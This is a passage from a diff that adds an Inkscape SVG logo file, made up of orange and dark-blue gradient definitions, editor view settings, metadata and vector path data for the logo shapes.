+         style="stop-color:#ff8400;stop-opacity:1.0000000;" />
+    </linearGradient>
+    <linearGradient
+       inkscape:collect="always"
+       xlink:href="#linearGradient3651"
+       id="linearGradient4258"
+       gradientUnits="userSpaceOnUse"
+       gradientTransform="matrix(0.245729,0,0,0.245729,34.35214,723.04037)"
+       x1="522.63641"
+       y1="168.68723"
+       x2="585.93317"
+       y2="161.10866" />
+    <linearGradient
+       id="linearGradient3651">
+      <stop
+         style="stop-color:#ff8000;stop-opacity:1;"
+         offset="0"
+         id="stop3653" />
+      <stop
+         id="stop16786"
+         offset="0.5"
+         style="stop-color:#fff4e1;stop-opacity:1;" />
+      <stop
+         style="stop-color:#fff4e1;stop-opacity:1;"
+         offset="0.75"
+         id="stop17514" />
+      <stop
+         style="stop-color:#ff8400;stop-opacity:1.0000000;"
+         offset="1.0000000"
+         id="stop3655" />
+    </linearGradient>
+    <linearGradient
+       inkscape:collect="always"
+       xlink:href="#linearGradient3509"
+       id="linearGradient4260"
+       gradientUnits="userSpaceOnUse"
+       gradientTransform="matrix(0.245729,0,0,0.245729,34.35214,723.04037)"
+       x1="481.48975"
+       y1="417.49979"
+       x2="405.41116"
+       y2="316.78976" />
+    <linearGradient
+       id="linearGradient5403">
+      <stop
+         id="stop5405"
+         offset="0"
+         style="stop-color:#ff8000;stop-opacity:1;" />
+      <stop
+         style="stop-color:#ffc768;stop-opacity:1.0000000;"
+         offset="0.34144846"
+         id="stop5407" />
+      <stop
+         id="stop5409"
+         offset="0.71198046"
+         style="stop-color:#ffc768;stop-opacity:1.0000000;" />
+      <stop
+         id="stop5411"
+         offset="1.0000000"
+         style="stop-color:#ff8400;stop-opacity:1.0000000;" />
+    </linearGradient>
+    <linearGradient
+       inkscape:collect="always"
+       xlink:href="#linearGradient3591"
+       id="linearGradient4262"
+       gradientUnits="userSpaceOnUse"
+       gradientTransform="translate(-297.23084,320.86007)"
+       x1="473.09195"
+       y1="499.58444"
+       x2="457.68967"
+       y2="477.5997" />
+    <linearGradient
+       id="linearGradient5414">
+      <stop
+         style="stop-color:#ffffff;stop-opacity:1;"
+         offset="0"
+         id="stop5416" />
+      <stop
+         style="stop-color:#ffffff;stop-opacity:0;"
+         offset="1"
+         id="stop5418" />
+    </linearGradient>
+    <linearGradient
+       inkscape:collect="always"
+       xlink:href="#linearGradient3591"
+       id="linearGradient4264"
+       gradientUnits="userSpaceOnUse"
+       gradientTransform="translate(-297.23084,320.86007)"
+       x1="394.34113"
+       y1="501.80154"
+       x2="446.31302"
+       y2="485.37762" />
+    <linearGradient
+       id="linearGradient5421">
+      <stop
+         style="stop-color:#ffffff;stop-opacity:1;"
+         offset="0"
+         id="stop5423" />
+      <stop
+         style="stop-color:#ffffff;stop-opacity:0;"
+         offset="1"
+         id="stop5425" />
+    </linearGradient>
+    <linearGradient
+       inkscape:collect="always"
+       xlink:href="#linearGradient3591"
+       id="linearGradient4266"
+       gradientUnits="userSpaceOnUse"
+       gradientTransform="translate(-297.23084,320.86007)"
+       x1="395.81326"
+       y1="590.73315"
+       x2="369.55322"
+       y2="572.16907" />
+    <linearGradient
+       id="linearGradient5428">
+      <stop
+         style="stop-color:#ffffff;stop-opacity:1;"
+         offset="0"
+         id="stop5430" />
+      <stop
+         style="stop-color:#ffffff;stop-opacity:0;"
+         offset="1"
+         id="stop5432" />
+    </linearGradient>
+    <linearGradient
+       inkscape:collect="always"
+       xlink:href="#linearGradient2937"
+       id="linearGradient4268"
+       gradientUnits="userSpaceOnUse"
+       gradientTransform="matrix(0.245729,0,0,0.245729,34.35214,723.04037)"
+       x1="297.05316"
+       y1="667.16193"
+       x2="310.45529"
+       y2="713.86633" />
+    <linearGradient
+       id="linearGradient2937">
+      <stop
+         style="stop-color:#212a3a;stop-opacity:1.0000000;"
+         offset="0.0000000"
+         id="stop2939" />
+      <stop
+         style="stop-color:#404e67;stop-opacity:0.0000000;"
+         offset="1.0000000"
+         id="stop2941" />
+    </linearGradient>
+    <linearGradient
+       inkscape:collect="always"
+       xlink:href="#linearGradient2937"
+       id="linearGradient4270"
+       gradientUnits="userSpaceOnUse"
+       gradientTransform="matrix(0.09307993,0,0,0.1860535,131.94157,665.87199)"
+       x1="246.30438"
+       y1="690.02673"
+       x2="366.87921"
+       y2="632.15985" />
+    <linearGradient
+       id="linearGradient5439">
+      <stop
+         style="stop-color:#212a3a;stop-opacity:1.0000000;"
+         offset="0.0000000"
+         id="stop5441" />
+      <stop
+         style="stop-color:#404e67;stop-opacity:0.0000000;"
+         offset="1.0000000"
+         id="stop5443" />
+    </linearGradient>
+    <linearGradient
+       inkscape:collect="always"
+       xlink:href="#linearGradient2937"
+       id="linearGradient4272"
+       gradientUnits="userSpaceOnUse"
+       gradientTransform="matrix(-0.09281332,-0.00703915,0.01407026,-0.1855207,186.19996,929.70821)"
+       x1="301.05194"
+       y1="645.89917"
+       x2="367.94604"
+       y2="654.72131" />
+    <linearGradient
+       id="linearGradient5446">
+      <stop
+         style="stop-color:#212a3a;stop-opacity:1.0000000;"
+         offset="0.0000000"
+         id="stop5448" />
+      <stop
+         style="stop-color:#404e67;stop-opacity:0.0000000;"
+         offset="1.0000000"
+         id="stop5450" />
+    </linearGradient>
+    <linearGradient
+       inkscape:collect="always"
+       xlink:href="#linearGradient2937"
+       id="linearGradient4274"
+       gradientUnits="userSpaceOnUse"
+       gradientTransform="matrix(0.245729,0,0,0.245729,98.31046,642.63728)"
+       x1="279.81714"
+       y1="688.32355"
+       x2="386.78625"
+       y2="667.6355" />
+    <linearGradient
+       id="linearGradient5453">
+      <stop
+         style="stop-color:#212a3a;stop-opacity:1.0000000;"
+         offset="0.0000000"
+         id="stop5455" />
+      <stop
+         style="stop-color:#404e67;stop-opacity:0.0000000;"
+         offset="1.0000000"
+         id="stop5457" />
+    </linearGradient>
+    <linearGradient
+       inkscape:collect="always"
+       xlink:href="#linearGradient2937"
+       id="linearGradient4276"
+       gradientUnits="userSpaceOnUse"
+       gradientTransform="matrix(0.245729,0,0,0.245729,25.55056,660.77045)"
+       x1="338.14404"
+       y1="668.3009"
+       x2="266.215"
+       y2="702.89276" />
+    <linearGradient
+       id="linearGradient5460">
+      <stop
+         style="stop-color:#212a3a;stop-opacity:1.0000000;"
+         offset="0.0000000"
+         id="stop5462" />
+      <stop
+         style="stop-color:#404e67;stop-opacity:0.0000000;"
+         offset="1.0000000"
+         id="stop5464" />
+    </linearGradient>
+    <linearGradient
+       y2="702.89276"
+       x2="266.215"
+       y1="668.3009"
+       x1="338.14404"
+       gradientTransform="matrix(0.245729,0,0,0.245729,25.55056,660.77045)"
+       gradientUnits="userSpaceOnUse"
+       id="linearGradient5486"
+       xlink:href="#linearGradient2937"
+       inkscape:collect="always" />
+  </defs>
+  <sodipodi:namedview
+     id="base"
+     pagecolor="#ffffff"
+     bordercolor="#666666"
+     borderopacity="1.0"
+     inkscape:pageopacity="0.0"
+     inkscape:pageshadow="2"
+     inkscape:zoom="0.35"
+     inkscape:cx="375"
+     inkscape:cy="520"
+     inkscape:document-units="px"
+     inkscape:current-layer="layer1"
+     showgrid="false"
+     inkscape:window-width="798"
+     inkscape:window-height="690"
+     inkscape:window-x="20"
+     inkscape:window-y="20"
+     inkscape:window-maximized="0" />
+  <metadata
+     id="metadata5493">
+    <rdf:RDF>
+      <cc:Work
+         rdf:about="">
+        <dc:format>image/svg+xml</dc:format>
+        <dc:type
+           rdf:resource="http://purl.org/dc/dcmitype/StillImage" />
+        <dc:title></dc:title>
+      </cc:Work>
+    </rdf:RDF>
+  </metadata>
+  <g
+     inkscape:label="Layer 1"
+     inkscape:groupmode="layer"
+     id="layer1">
+    <g
+       id="g4202"
+       transform="matrix(4.2070673,0,0,4.2070673,-152.93197,-3059.7049)">
+      <path
+         inkscape:export-ydpi="19.25"
+         inkscape:export-xdpi="19.25"
+         inkscape:export-filename="/home/emcho/storage/images/sc_logo/sc_logo136x203.png"
+         sodipodi:nodetypes="csssssssssssssssssssssssssssssssssccssssssssssccsssssssssccsssssssssscssssssssssccssssssscssssssssc"
+         id="path4204"
+         d="m 52.51386,963.95968 c -0.59762,-1.31419 -1.08659,-2.49776 -1.08659,-2.63031 0,-0.13252 -2.08061,-11.07486 -2.31769,-13.88681 -1.03506,-12.27691 -2.66752,-13.45265 -2.21175,-24.39857 0.2761,-6.63061 -0.64392,-8.89235 1.31344,-14.31478 4.03102,-11.16694 6.98662,-15.56085 12.2251,-18.17414 4.24974,-2.12004 8.23695,-1.83207 11.97929,0.86518 0.98634,0.71092 4.29577,2.95048 7.35426,4.97678 3.05851,2.02634 6.69103,4.48296 8.07229,5.45919 1.38125,0.97628 3.68511,2.38497 5.11972,3.13046 2.53058,1.3151 2.62411,1.3351 3.13729,0.67104 1.12761,-1.45907 3.84947,-5.55395 5.32124,-7.50854 7.37209,-9.79052 0.42914,-8.70222 -1.30592,-9.21291 -2.72783,-0.80294 -3.87684,-1.97938 -6.42642,-4.96758 -5.92163,-6.94035 -8.72797,-14.66214 -9.14262,-24.20339 -0.48154,-11.07972 0.63266,-20.01531 5.49789,-25.10088 2.08527,-2.17973 6.49949,-5.34524 10.53505,-7.55495 3.4177,-1.87139 24.37883,-5.78232 26.21837,-4.96975 0.91898,0.40593 -3.63796,-11.63862 -1.01552,-27.29896 0.52096,-3.11103 4.05934,-12.73788 4.43322,-13.39298 0.92313,-1.61744 16.13503,-6.82395 20.46221,-9.36515 4.83486,-2.83935 15.29074,-9.67883 16.07843,-14.76568 1.73099,-11.1786 2.03825,-15.9556 2.75981,-16.37531 1.07388,-0.62465 8.25251,14.17566 3.39352,28.13116 -0.95893,2.75414 -5.53206,9.14865 -7.57975,11.8233 -1.47452,1.92602 1.72775,2.82621 3.56985,5.60679 1.67534,2.52882 2.77675,8.71086 2.9918,11.91416 0.21959,3.27101 -0.81543,9.98235 -1.7425,11.2988 -0.37549,0.53325 -0.52929,1.05709 -0.34387,1.17136 0.18449,0.11368 1.43417,-0.0352 2.77708,-0.33076 1.34289,-0.29559 4.25366,-0.7663 6.46837,-1.046 3.94259,-0.49787 4.08384,-0.49095 6.7595,0.33213 4.01386,1.23476 23.53789,5.95177 11.07947,60.50742 -4.12753,18.07453 -23.38873,41.92489 -25.8106,40.0783 l -5.96407,-4.5474 -6.87325,10.19022 c -3.50798,3.60293 -7.29065,7.08029 -9.52167,8.75312 -3.52051,2.63972 -10.56453,6.79799 -11.51562,6.79799 -0.24492,0 -1.63251,0.56931 -3.08354,1.26516 -4.19508,2.01176 -10.47851,3.66081 -17.13429,4.09795 -25.77135,1.66956 -15.93975,-1.44192 -37.27858,-11.77515 -1.68316,-0.81506 -5.55753,3.29679 -10.22719,7.54571 -4.98524,4.53606 -7.60226,7.98846 -9.57996,12.63792 -0.66947,1.57389 -1.71168,3.98838 -2.31602,5.36552 -1.64444,3.74731 -2.99719,8.93229 -3.19818,12.25814 -0.0983,1.62685 -0.31514,3.04193 -0.48187,3.14469 -0.16673,0.10272 -0.7921,-0.88841 -1.38973,-2.20249 z m 28.33197,-45.90886 c 3.30313,-0.83536 3.66477,-1.01966 7.21765,-3.67825 2.54576,-1.90501 4.12321,-5.3446 4.8004,-5.64508 4.4324,-1.96673 -3.3083,-3.73691 -6.20226,-5.68891 -2.89398,-1.95202 -6.65724,-3.39508 -9.2209,-5.3521 -2.56367,-1.95698 -4.78356,-3.48279 -4.93308,-3.39068 -0.14952,0.0921 -0.27471,1.40551 -0.27821,2.91861 -0.01023,4.41323 -0.6021,8.84164 -1.42935,10.69448 -0.42105,0.94301 -0.84611,2.76087 -0.94461,4.03969 -0.22816,2.96221 0.46109,4.38683 2.91271,6.02036 2.06595,1.3766 2.92385,1.38532 8.07765,0.0819 z m 119.70575,-83.58495 c -1.07558,-7.22468 -0.18498,-17.16053 -5.81444,-20.77728 -12.98767,-8.34415 -14.4135,-0.0696 -15.21021,1.75899 -1.31072,3.0083 -2.11753,5.46892 -1.12273,8.7761 3.05641,10.16086 6.96643,19.15821 8.82255,26.38029 2.13021,8.28856 4.47797,13.53077 4.71288,20.02986 0.16678,4.61378 0.12302,5.09887 -0.55601,6.16474 -0.9655,1.51542 -15.55215,5.22752 -22.89767,7.39176 -2.52211,0.74311 -0.28804,6.12175 -0.57696,7.89239 -0.28892,1.77059 -4.23701,11.66713 -2.96729,13.65682 12.52923,19.63374 40.23506,-40.20634 35.60988,-71.27367 z m -26.98831,48.27201 c 1.95984,-0.47131 3.79219,-1.04626 4.0719,-1.27773 0.27971,-0.23143 0.99066,-0.38419 1.57991,-0.33941 1.05432,0.0801 5.18218,-1.21949 5.4995,-1.73148 0.0894,-0.14415 3.7722,-2.06556 3.0355,-2.55357 -0.73674,-0.48803 -15.13237,-11.07005 -17.19649,-12.14627 -23.77004,-12.39364 -36.26526,-13.24685 -44.11407,-11.66556 -13.44457,2.70866 -25.05657,9.52598 -26.45346,11.20755 -0.42178,0.50774 21.04913,-6.66097 36.28977,0.87085 2.81591,1.39161 8.62965,3.78304 13.00058,8.46269 3.99268,4.27467 7.63329,8.79778 10.49869,9.5617 3.10695,0.82834 9.47337,0.64882 13.78817,-0.38877 z m -28.65731,-51.09687 c 7.52619,-1.317 19.18627,-16.95235 18.27894,-18.41606 -0.12276,-0.19808 2.25527,-4.14459 1.86904,-4.22161 -14.0842,-2.80833 -13.74485,-16.83242 -13.94793,-16.95753 -0.20308,-0.12514 -20.76525,9.71022 -25.50376,11.75869 -4.02092,1.73825 0.57503,12.10208 2.99929,18.53437 1.07855,2.86172 7.01744,6.67785 9.40766,8.23365 2.82773,1.84055 6.25378,1.181 6.89676,1.06849 z m 16.21969,-47.71727 c 4.06405,-3.20289 14.88802,-19.23422 13.73961,-25.73988 -4.67874,-26.5048 -6.69569,-10.0962 -6.99598,-7.73088 -0.12436,0.97963 -0.47868,3.14936 -0.7874,4.82161 -0.30868,1.67227 -0.70224,4.08678 -0.87456,5.36555 -0.1723,1.2788 -0.64865,3.53233 -1.05855,5.00784 -0.4099,1.47554 -1.05724,3.92831 -1.43856,5.45066 -0.38128,1.52232 -1.66486,5.27236 -2.85234,8.33339 -1.18749,3.06104 -2.15908,5.63846 -2.15908,5.72759 0,0.447 0.82393,0.0274 2.42686,-1.23588 z"
+         style="fill:url(#linearGradient4242);fill-opacity:1" />
+      <path
+         sodipodi:nodetypes="ccssc"
+         id="path4206"
+         d="m 53.57922,963.11994 c 6.35309,-26.31992 12.10112,-29.26957 27.22751,-39.0261 -3.32781,-1.89079 -11.51745,-8.1594 -11.49606,-11.49606 0.05726,-9.74197 1.6676,-26.72201 -9.07584,-19.66431 -20.38515,13.39167 -13.0087,55.96766 -6.65561,70.18647 z"
+         style="fill:url(#linearGradient4244);fill-opacity:1;fill-rule:evenodd;stroke:none;display:inline" />
+      <path
+         sodipodi:nodetypes="ccccsc"
+         id="path4208"
+         d="m 75.93257,920.7226 c 8.98173,6.78619 16.91991,12.78559 22.55412,15.96751 54.94138,2.77762 68.66033,-27.59386 69.6583,-52.49321 -4.89006,0.22454 -13.22311,-0.97302 -17.71397,-7.7405 -11.21439,3.68089 -45.16617,14.00314 -45.75692,16.32304 -3.06467,12.03515 -12.17523,21.75574 -28.74153,27.94316 z"
+         style="fill:url(#linearGradient4246);fill-opacity:1;fill-rule:evenodd;stroke:none;display:inline" />
+      <path
+         inkscape:export-ydpi="19.25"
+         inkscape:export-xdpi="19.25"
+         inkscape:export-filename="/home/emcho/storage/images/sc_logo/sc_logo136x203.png"
+         sodipodi:nodetypes="cssssss"
+         id="path4210"
+         d="m 171.27539,910.58112 c 33.18508,-24.69965 28.91369,-74.159 29.44979,-76.69151 1.36299,-6.43866 -6.64955,-28.25155 -16.27383,-24.24947 -16.02424,6.66336 11.2767,44.44456 7.61407,65.1661 -0.76342,4.31907 -13.98948,7.50294 -22.98022,8.89864 -1.03689,0.16096 -0.1163,14.0955 -4.62673,20.50927 -0.64571,0.91818 6.21023,6.81854 6.81692,6.36697 z"
+         style="fill:url(#linearGradient4248);fill-opacity:1;fill-rule:evenodd;stroke:none;display:inline" />
+      <path
+         sodipodi:nodetypes="ccc"
+         id="path4212"
+         d="m 175.90353,907.19115 c 42.49251,-41.74886 20.98218,-116.27813 6.14636,-94.50993 20.37687,-4.1207 23.61854,64.2671 -6.14636,94.50993 z"
+         style="fill:url(#linearGradient4250);fill-opacity:1;fill-rule:evenodd;stroke:none" />
+      <path
+         inkscape:export-ydpi="19.25"
+         inkscape:export-xdpi="19.25"
+         inkscape:export-filename="/home/emcho/storage/images/sc_logo/sc_logo136x203.png"
+         sodipodi:nodetypes="csszs"
+         id="path4214"
+         d="m 95.21705,907.77562 c 0.78602,-1.06057 -13.88152,-6.08284 -22.74639,-14.06472 -0.98292,-0.88501 -1.14144,12.91242 -2.0703,18.66551 -0.57712,3.57451 5.4925,7.17351 6.87977,7.62184 1.15081,0.37191 14.71014,-7.86884 17.93692,-12.22263 z"
+         style="fill:url(#linearGradient4252);fill-opacity:1;fill-rule:evenodd;stroke:none;display:inline" />
+      <path
+         sodipodi:nodetypes="ccccc"
+         id="path4216"
+         d="m 83.58536,868.01334 c -5.099007,-25.84347 4.179267,-41.03939 41.3579,-46.37791 0.18024,0.56879 41.31909,-13.25606 55.79189,-13.35001 -3.92283,6.23323 0.0433,21.62385 4.80916,34.27609 0,0 -34.8276,9.08768 -101.95895,25.45183 z"
+         style="fill:url(#linearGradient4254);fill-opacity:1;fill-rule:evenodd;stroke:none" />
+      <path
+         inkscape:export-ydpi="19.25"
+         inkscape:export-xdpi="19.25"
+         inkscape:export-filename="/home/emcho/storage/images/sc_logo/sc_logo136x203.png"
+         sodipodi:nodetypes="csssss"
+         id="path4218"
+         d="m 101.65537,863.89391 c 4.41182,-1.58073 17.00722,-5.39035 32.05421,-0.1519 10.3057,3.58781 16.2195,12.63312 20.66816,16.112 10.4789,8.19457 29.82289,-0.90843 33.32172,-0.85341 1.43753,0.0226 -25.96694,-24.60193 -46.62844,-25.8478 -27.77538,-1.67482 -45.11147,12.78188 -39.41565,10.74111 z"
+         style="fill:url(#linearGradient4256);fill-opacity:1;fill-rule:evenodd;stroke:none;display:inline" />
+      <path
+         inkscape:export-ydpi="19.25"
+         inkscape:export-xdpi="19.25"
+         inkscape:export-filename="/home/emcho/storage/images/sc_logo/sc_logo136x203.png"
+         sodipodi:nodetypes="csss"
+         id="path4220"
+         d="m 169.42704,741.43522 c -0.1528,8.40398 -2.79669,28.46338 -11.30718,42.1727 -3.89274,6.27072 14.52008,-8.27661 16.50236,-20.78075 1.09029,-6.8775 -5.06881,-28.08959 -5.19518,-21.39195 z"
+         style="fill:url(#linearGradient4258);fill-opacity:1;fill-rule:evenodd;stroke:none" />
+      <path
+         inkscape:export-ydpi="19.25"
+         inkscape:export-xdpi="19.25"
+         inkscape:export-filename="/home/emcho/storage/images/sc_logo/sc_logo136x203.png"
+         sodipodi:nodetypes="cssscsc"
+         id="path4222"
+         d="m 141.79058,833.10697 c 9.23931,-4.71783 17.65654,-10.92192 22.99128,-22.44259 0.9032,-1.9505 -4.39968,-0.0586 -8.47555,-5.84433 -4.0357,-5.72867 -3.08341,-11.54295 -6.54001,-11.07789 -10.80021,1.4531 -25.20082,11.63758 -25.20082,11.63758 0,0 0.82824,11.14408 3.74751,15.67372 6.01898,9.33928 13.47759,12.05351 13.47759,12.05351 z"
+         style="fill:url(#linearGradient4260);fill-opacity:1;fill-rule:evenodd;stroke:none;display:inline" />
+      <path
+         sodipodi:nodetypes="ccc"
+         id="path4224"
+         d="m 156.09152,803.78111 c 2.72579,9.88879 17.87347,8.09668 14.70668,-11.15251 -1.36528,1.99619 -4.77608,12.95694 -14.70668,11.15251 z"
+         style="opacity:0.55223843;fill:url(#linearGradient4262);fill-opacity:1;fill-rule:evenodd;stroke:none" />
+      <path
+         sodipodi:nodetypes="csccsc"
+         id="path4226"
+         d="m 140.48504,832.28297 c -5.10096,-3.46887 -9.50419,-7.78444 -12.32504,-12.34966 -2.82085,-4.56521 -4.0593,-27.84724 0.68685,-33.63375 2.60826,-6.3637 11.84132,-12.51424 22.09721,-15.2308 -19.49494,22.60506 -13.17796,56.86685 4.07359,53.53526 0.86206,-0.16648 -12.82587,7.73026 -14.53261,7.67895 z"
+         style="fill:url(#linearGradient4264);fill-opacity:1;fill-rule:evenodd;stroke:none" />
+      <path
+         sodipodi:nodetypes="ccc"
+         id="path4228"
+         d="m 72.32239,893.02911 c 3.80886,2.81881 20.23882,15.53557 23.85984,13.52306 -8.41018,20.55895 -30.55349,3.14238 -23.85984,-13.52306 z"
+         style="fill:url(#linearGradient4266);fill-opacity:1;fill-rule:evenodd;stroke:none" />
+      <path
+         inkscape:export-ydpi="19.25"
+         inkscape:export-xdpi="19.25"
+         inkscape:export-filename="/home/emcho/storage/images/sc_logo/sc_logo136x203.png"
+         sodipodi:nodetypes="ccsssccssscccsssscscsccsssssccssssssccsssccssssccsscssssssssssssccsssccssssssccssssssssssssscsssscssscssc"
+         id="path4230"
+         d="m 140.05745,777.56053 c -3.94728,2.30056 -8.69302,4.87373 -9.63531,7.20019 -3.16217,6.64336 -4.34745,18.56552 -3.38465,17.88089 9.38401,-6.67285 20.24871,-8.52283 24.20205,-12.0967 11.71489,-10.59045 16.26287,-32.48353 13.80119,-29.2383 -7.96915,10.50564 -20.9111,13.88057 -24.98328,16.25392 z m -61.4085,147.01185 c 0,0 -11.08091,-7.66436 -10.87669,-10.1233 1.697,-20.4327 -1.92942,-21.625 -3.75706,-21.40828 -2.20803,0.26184 -13.6822,7.50553 -15.92058,27.95835 -1.62427,14.84147 4.24013,38.0296 5.13347,39.28426 4.62276,-12.42378 2.81919,-22.42331 25.42086,-35.71103 z m 121.05779,-90.52225 c -0.55133,-15.31772 -9.77382,-25.84979 -16.03746,-23.38322 -2.65737,1.04645 -4.4415,8.17887 -3.50846,12.60125 0.82755,3.92256 6.46634,19.10152 6.87179,20.38471 0.95868,3.03418 7.43087,21.62978 6.28035,30.56471 -1.00846,7.8316 -23.7097,10.5413 -23.7097,10.5413 0,0 -0.38149,6.37449 -1.16407,10.68177 -0.96202,5.29492 -2.86934,9.45033 -2.86934,9.45033 0,0 4.94251,4.60429 5.14224,4.59918 0.19973,-0.005 31.10844,-16.7127 28.99465,-75.44003 z m -23.69666,47.44964 c 1.59781,-0.44722 11.03201,-2.94175 10.52638,-3.27341 -3.50095,-2.2964 -7.48504,-5.18714 -14.1578,-10.37693 -37.04552,-28.81248 -70.69468,-4.54502 -70.03165,-4.76554 6.15153,-2.04594 12.64754,-3.20211 21.67232,-2.5993 7.26918,0.48555 18.69619,4.17029 28.70607,16.10244 3.72328,4.43828 7.94798,7.4497 23.28468,4.91274 z M 159.4851,818.95922 c 1.12085,-0.96962 5.01656,-8.31336 4.31505,-8.48395 -9.83076,-2.39074 -10.78824,-6.74031 -11.75043,-11.4727 -0.90123,-4.43254 -0.76219,-5.06465 -2.62452,-4.44953 -15.04703,4.96997 -19.20919,7.70131 -21.51157,9.61214 -3.60666,2.99331 -1.0768,11.03634 0.33349,14.23298 1.96563,4.4554 9.19232,12.51758 12.55437,13.16681 4.90391,0.94697 16.49344,-9.09974 18.68361,-12.60575 z m 10.93597,-27.14087 c -0.81548,-3.33524 -3.43538,-7.63066 -4.13349,-7.63066 -0.65744,0 -7.61876,5.38666 -9.4168,7.26354 -4.08086,4.25969 -2.09206,11.97893 2.43483,14.62671 7.66207,4.48154 13.28874,-5.37111 11.11546,-14.25959 z m -5.77705,-12.75642 c 3.35221,-3.34862 7.80844,-8.84532 8.99344,-17.19839 0.46443,-3.27384 0.73411,-6.15364 -1.30205,-12.62655 -0.47191,-1.50022 -1.90642,-5.8148 -1.96005,-5.24636 -1.05907,11.22382 -2.61083,23.68653 -9.93627,36.93167 -2.29934,4.15745 -1.06286,3.40174 4.20493,-1.86037 z m -78.6191,66.84814 c -3.99349,16.75103 6.58927,38.75062 15.16215,40.00456 8.28707,1.21213 32.04487,-5.96093 44.50484,-9.42568 3.26456,-0.90778 5.02074,-0.43427 -2.20131,-6.48455 -11.3226,-7.69755 -20.46099,-8.68868 -29.5776,-7.65392 -10.05581,1.14135 -17.59102,4.11772 -16.88606,3.52743 4.61053,-3.86056 12.8225,-10.76401 28.68812,-13.89013 6.89585,-1.35875 17.53788,-1.47808 30.38613,3.54005 15.93675,6.2244 24.23739,15.45542 30.97531,18.58381 2.39935,1.11401 3.25644,0.59604 4.20446,-2.18817 1.5883,-4.66452 -8.06663,-33.78938 -11.56456,-42.28236 -5.33802,-12.96073 0.89004,-19.15557 -0.47125,-18.85551 -6.6027,1.45543 -12.42508,5.69932 -17.306,10.06932 -11.93084,10.68198 -19.20273,12.95753 -20.28189,12.86579 -3.40727,-0.28972 -9.78249,-6.32022 -12.09877,-9.38241 -1.47795,-1.95389 -27.92949,3.15177 -35.72972,9.92827 -0.17845,0.15503 -6.19704,4.01498 -7.80385,11.6435 z M 77.5498,918.8389 c 8.72435,-3.6605 17.26585,-11.43939 16.52709,-11.56787 -4.52939,-0.78772 -21.23379,-12.23383 -21.22226,-12.11514 0.57378,5.90697 -0.71357,11.21473 -1.30092,17.06944 -0.24494,2.44161 3.00975,6.22428 5.99609,6.61357 z m 28.15174,-25.60492 c -1.66901,3.72058 -3.41156,18.3512 -27.53028,27.73991 -0.69864,0.27195 20.21205,14.57036 21.35002,14.62032 69.0544,3.03144 68.46916,-49.55437 67.5526,-50.88016 -0.13265,-0.19188 -6.03889,0.0138 -10.61352,-2.15692 -0.34887,-0.1655 -3.45204,-1.76502 -5.30227,-4.17423 -0.62757,-0.81715 -0.72524,-1.26122 -3.05074,-0.58541 -10.76269,3.12776 -42.89539,14.65696 -42.40581,15.43649 z M 84.18935,867.5847 c -12.33127,-43.08647 30.94329,-45.08535 37.80451,-46.74439 5.30593,-1.28297 4.14977,-1.78189 3.03089,-6.80033 -1.57099,-7.04629 -1.0816,-13.18841 0.26513,-19.77217 1.27351,-6.2258 1.93035,-9.37394 4.61998,-12.49571 2.16789,-2.51621 14.38379,-8.27049 17.4121,-9.72295 12.90529,-6.18974 17.83586,-12.99328 19.27422,-18.34465 1.014,-3.77255 2.49779,-13.07094 1.83081,-19.71727 -0.16416,-1.6359 0.89135,0.92745 6.14205,17.24159 2.68293,8.33593 1.36177,18.34502 -7.09994,27.38172 -1.14918,1.22726 -0.59185,1.4703 0.95354,4.02388 3.21078,5.30554 4.98573,11.93993 4.48566,16.76662 -0.40972,3.95432 -2.10008,7.6934 0.31754,7.40286 0.34951,-0.042 11.02834,-1.65875 18.33848,2.98757 4.95048,3.14653 12.00258,9.17808 10.17204,34.37342 -4.00842,55.17187 -30.9649,67.17892 -31.15387,67.18542 -0.4563,0.0156 -5.49956,-5.22074 -5.79806,-4.60407 -15.45677,31.93103 -47.3506,30.78387 -65.13826,31.11951 -3.55635,0.0671 -18.34444,-12.38469 -19.59088,-11.53286 -15.74294,10.75882 -20.11352,13.44589 -26.18374,40.94381 -0.23264,-0.43595 -8.41803,-14.95561 -8.07826,-44.15673 0.27838,-23.92523 13.34923,-35.21616 19.15997,-34.56498 7.05422,0.79055 10.59443,4.47084 20.52923,10.99795 1.77335,1.16509 8.0388,4.95377 9.46457,4.91926 3.5521,-0.0838 5.97534,-6.60969 6.55509,-10.83484 0.58475,-4.26168 1.15009,-3.23167 -2.17605,-4.37633 -4.1934,-1.44311 -11.42652,-9.296 -15.13675,-21.67633 z"
+         style="fill:#2c3b54;fill-opacity:1;fill-rule:nonzero;stroke:none" />
+      <path
+         inkscape:export-ydpi="19.25"
+         inkscape:export-xdpi="19.25"
+         inkscape:export-filename="/home/emcho/storage/images/sc_logo/sc_logo136x203.png"
+         sodipodi:nodetypes="czssss"
+         id="path4232"
+         d="m 106.11345,892.83442 c 6.47531,-3.53335 43.23312,-15.02538 43.56314,-15.74675 0.24089,-0.52655 -43.11579,17.30875 -52.93537,10.69734 -0.59185,-0.39849 2.29344,1.72127 4.90219,2.25652 0.18326,0.0376 0.17092,6.89208 -2.30068,10.77041 -0.6931,1.08758 5.26729,-7.15715 6.77072,-7.97752 z"
+         style="fill:url(#linearGradient4268);fill-opacity:1;fill-rule:evenodd;stroke:none" />
+      <path
+         inkscape:export-ydpi="19.25"
+         inkscape:export-xdpi="19.25"
+         inkscape:export-filename="/home/emcho/storage/images/sc_logo/sc_logo136x203.png"
+         sodipodi:nodetypes="csss"
+         id="path4234"
+         d="m 166.00752,784.18642 c -4.02929,2.81265 -9.5846,6.74255 -10.72057,9.77333 -0.66996,1.78745 -1.12247,-4.99153 3.45182,-9.03009 2.57716,-2.27533 8.09315,-1.31871 7.26875,-0.74324 z"
+         style="fill:url(#linearGradient4270);fill-opacity:1;fill-rule:evenodd;stroke:none;display:inline" />
+      <path
+         inkscape:export-ydpi="19.25"
+         inkscape:export-xdpi="19.25"
+         inkscape:export-filename="/home/emcho/storage/images/sc_logo/sc_logo136x203.png"
+         sodipodi:nodetypes="csss"
+         id="path4236"
+         d="m 160.58968,806.82846 c 4.57007,1.3627 8.10001,-1.42847 10.03503,-7.4422 0.22874,-0.71087 -0.56553,5.2666 -3.40562,7.48857 -2.70767,2.11837 -7.59288,-0.33365 -6.62941,-0.0464 z"
+         style="fill:url(#linearGradient4272);fill-opacity:1;fill-rule:evenodd;stroke:none;display:inline" />
+      <path
+         inkscape:export-ydpi="19.25"
+         inkscape:export-xdpi="19.25"
+         inkscape:export-filename="/home/emcho/storage/images/sc_logo/sc_logo136x203.png"
+         sodipodi:nodetypes="cscss"
+         id="path4238"
